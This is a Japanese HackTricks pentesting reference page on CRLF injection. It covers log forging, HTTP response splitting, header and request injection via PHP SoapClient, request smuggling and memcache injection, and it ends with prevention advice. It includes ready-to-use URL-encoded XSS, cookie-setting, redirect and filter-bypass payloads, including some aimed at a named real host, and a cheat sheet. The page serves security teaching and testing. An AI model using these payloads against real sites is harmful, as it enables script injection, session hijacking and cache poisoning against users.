hacktricks/pentesting-web/crlf-0d-0a.md

228 lines
18 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# CRLF (%0D%0A) インジェクション
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details>
<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムなバグバウンティプラットフォーム**である **Intigriti****サインアップ** してください!今すぐ [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) に参加して、最大 **$100,000** のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
### CRLF
キャリッジリターンCRとラインフィードLFは、HTTPプロトコルで使用される特別な文字シーケンスで、行の終わりや新しい行の開始を示すために使用されます。Webサーバーとブラウザは、HTTPヘッダーとレスポンスの本文を区別するためにCRLFを使用します。これらの文字は、ApacheやMicrosoft IISなどのさまざまなWebサーバータイプでHTTP/1.1通信で普遍的に使用されています。
### CRLF インジェクション脆弱性
CRLF インジェクションは、CRとLF文字をユーザー提供の入力に挿入することを含みます。このアクションにより、サーバー、アプリケーション、またはユーザーが挿入されたシーケンスを1つのレスポンスの終わりと別のレスポンスの開始と誤解するようになります。これらの文字自体には有害性がないですが、誤用するとHTTPレスポンスの分割やその他の悪意ある活動につながる可能性があります。
### 例: ログファイル内の CRLF インジェクション
[ここからの例](https://www.invicti.com/blog/web-security/crlf-http-header/)
管理パネル内のログファイルを考えてみましょう。フォーマットは次のようになります:`IP - 時間 - 訪問したパス`。典型的なエントリは次のようになります:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
攻撃者はこのログを操作するためにCRLFインジェクションを悪用できます。HTTPリクエストにCRLF文字をインジェクトすることで、攻撃者は出力ストリームを変更し、ログエントリを偽造することができます。たとえば、インジェクトされたシーケンスによって、ログエントリが次のように変換される可能性があります:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
ここで、`%0d` と `%0a` は CR と LF の URL エンコード形式を表します。攻撃後、ログには誤解を招くように表示されます:
```
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
攻撃者は、悪意のある活動をローカルホスト(通常、サーバー環境内で信頼されるエンティティ)がアクションを実行したかのように見せかけます。サーバーは、`%0d%0a`で始まるクエリの一部を単一のパラメータとして解釈し、`restrictedaction`パラメータは別の独立した入力として解析されます。操作されたクエリは、正当な管理コマンドを模倣する効果的なものとなります:`/index.php?page=home&restrictedaction=edit`
### HTTPレスポンス分割
#### 説明
HTTPレスポンス分割は、攻撃者がHTTPレスポンスの構造を悪用する際に生じるセキュリティ脆弱性です。この構造は、特定の文字シーケンス、キャリッジリターンCRに続くラインフィードLFでヘッダーと本文を分離します。これらは合わせてCRLFと呼ばれます。攻撃者がレスポンスヘッダーにCRLFシーケンスを挿入することに成功すれば、後続のレスポンスコンテンツを効果的に操作できます。この種の操作は、深刻なセキュリティ問題、特にクロスサイトスクリプティングXSSにつながる可能性があります。
#### HTTPレスポンス分割を通じたXSS
1. アプリケーションは、次のようにカスタムヘッダーを設定します:`X-Custom-Header: UserInput`
2. アプリケーションは、`UserInput`の値をクエリパラメータから取得します。適切な入力検証とエンコーディングが欠如しているシナリオでは、攻撃者はCRLFシーケンスに続く悪意のあるコンテンツを含むペイロードを作成できます。
3. 攻撃者は、特別に作成された 'user\_input' を含むURLを作成します`?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
* このURLでは、`%0d%0a%0d%0a` はCRLFCRLFのURLエンコード形式です。これにより、サーバーがCRLFシーケンスを挿入し、後続の部分をレスポンス本文として扱うように誤認させます。
4. サーバーは、攻撃者の入力をレスポンスヘッダーに反映し、悪意のあるスクリプトがブラウザによってレスポンス本文の一部として解釈される意図しないレスポンス構造をもたらします。
#### リダイレクトにつながるHTTPレスポンス分割の例
[https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
ブラウザへ:
```
/%0d%0aLocation:%20http://myweb.com
```
そして、サーバーは次のヘッダーを返します:
```
Location: http://myweb.com
```
**他の例: (from** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### URLパス内
サーバーからの**レスポンス**を制御するために、**URLパス内に**ペイロードを送信できます([こちら](https://hackerone.com/reports/192667)の例から):
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
Check more examples in:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
### HTTPヘッダーインジェクション
HTTPヘッダーインジェクションは、しばしばCRLFキャリッジリターンおよび改行インジェクションを介して悪用され、攻撃者がHTTPヘッダーを挿入できるようにします。これにより、XSSクロスサイトスクリプティングフィルターやSOP同一オリジンポリシーなどのセキュリティメカニズムが崩れ、CSRFトークンなどの機密データへの不正アクセスや、クッキーの植え付けを通じたユーザーセッションの操作が可能になります。
#### HTTPヘッダーインジェクションを介したCORSの悪用
攻撃者はHTTPヘッダーを注入してCORSクロスオリジンリソース共有を有効にし、SOPによって課せられた制限をバイパスすることができます。この侵害により、悪意のあるオリジンからのスクリプトが異なるオリジンのリソースとやり取りし、保護されたデータにアクセスする可能性があります。
#### CRLFを介したSSRFおよびHTTPリクエストインジェクション
CRLFインジェクションを使用して、完全に新しいHTTPリクエストを作成およびインジェクションすることができます。これの注目すべき例は、PHPの`SoapClient`クラス内の`user_agent`パラメータにある脆弱性です。このパラメータを操作することで、攻撃者は追加のヘッダーや本文コンテンツを挿入したり、新しいHTTPリクエストを完全にインジェクトしたりすることができます。以下は、この悪用を示すPHPの例です
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
```
### リクエストスマグリングへのヘッダーインジェクション
この技術や潜在的な問題についての詳細は、[**元のソースをチェックしてください**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。
初期リクエストへの応答後に**バックエンドが接続を維持するようにするために**、重要なヘッダーをインジェクトできます。
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
**悪用:**
1. **悪意のあるプレフィックスインジェクション**: この方法は、次のユーザーのリクエストまたはWebキャッシュを毒することを含みます。悪意のあるプレフィックスを指定します。例:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2. **レスポンスキューポイズニングのためのプレフィックスの作成**: このアプローチは、トレイリングジャンクと組み合わせると完全な2番目のリクエストが形成されるプレフィックスを作成することを含みます。これにより、レスポンスキューポイズニングがトリガーされる可能性があります。例:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
### Memcacheインジェクション
Memcacheは**クリアテキストプロトコルを使用するキーバリューストア**です。詳細は以下を参照してください:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
**詳細については**[**元の解説**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **を読んでください**
プラットフォームが**HTTPリクエストからデータを取得し、サニタイズせずに**それを使用して**memcache**サーバーに**リクエスト**を実行する場合、攻撃者はこの動作を悪用して**新しいmemcacheコマンドをインジェクト**する可能性があります。
たとえば、元の脆弱性の発見では、キャッシュキーが使用され、ユーザーが接続すべきIPとポートを返し、攻撃者は**キャッシュを毒して被害者の詳細**(ユーザー名とパスワードを含む)を攻撃者のサーバーに送信する**memcacheコマンドをインジェクト**できました。
さらに、研究者は、memcacheの応答をデシンクして、攻撃者が知らないユーザーに攻撃者のIPとポートを送信できることを発見しました。
### WebアプリケーションでのCRLF / HTTPヘッダーインジェクションの防止方法
WebアプリケーションでのCRLFキャリッジリターンおよびラインフィードまたはHTTPヘッダーインジェクションのリスクを軽減するために、次の戦略が推奨されます:
1. **レスポンスヘッダーに直接ユーザー入力を避ける:** 最も安全なアプローチは、ユーザー提供の入力を直接レスポンスヘッダーに組み込まないことです。
2. **特殊文字のエンコード:** 直接ユーザー入力を避けることができない場合は、CRキャリッジリターンやLFラインフィードなどの特殊文字をエンコードするための専用の関数を使用してください。この実践により、CRLFインジェクションの可能性を防ぎます。
3. **プログラミング言語の更新:** Webアプリケーションで使用されるプログラミング言語を定期的に最新バージョンに更新してください。HTTPヘッダーを設定する関数内でCRおよびLF文字のインジェクションをデフォルトで許可しないバージョンを選択してください。
### チートシート
[こちらからのチートシート](https://twitter.com/NinadMishra5/status/1650080604174667777)
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## 自動ツール
* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
## ブルートフォース検出リスト
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
## 参考文献
* [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti** に**サインアップ**してください。これは、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) で参加し、最大**$100,000**のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**、または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>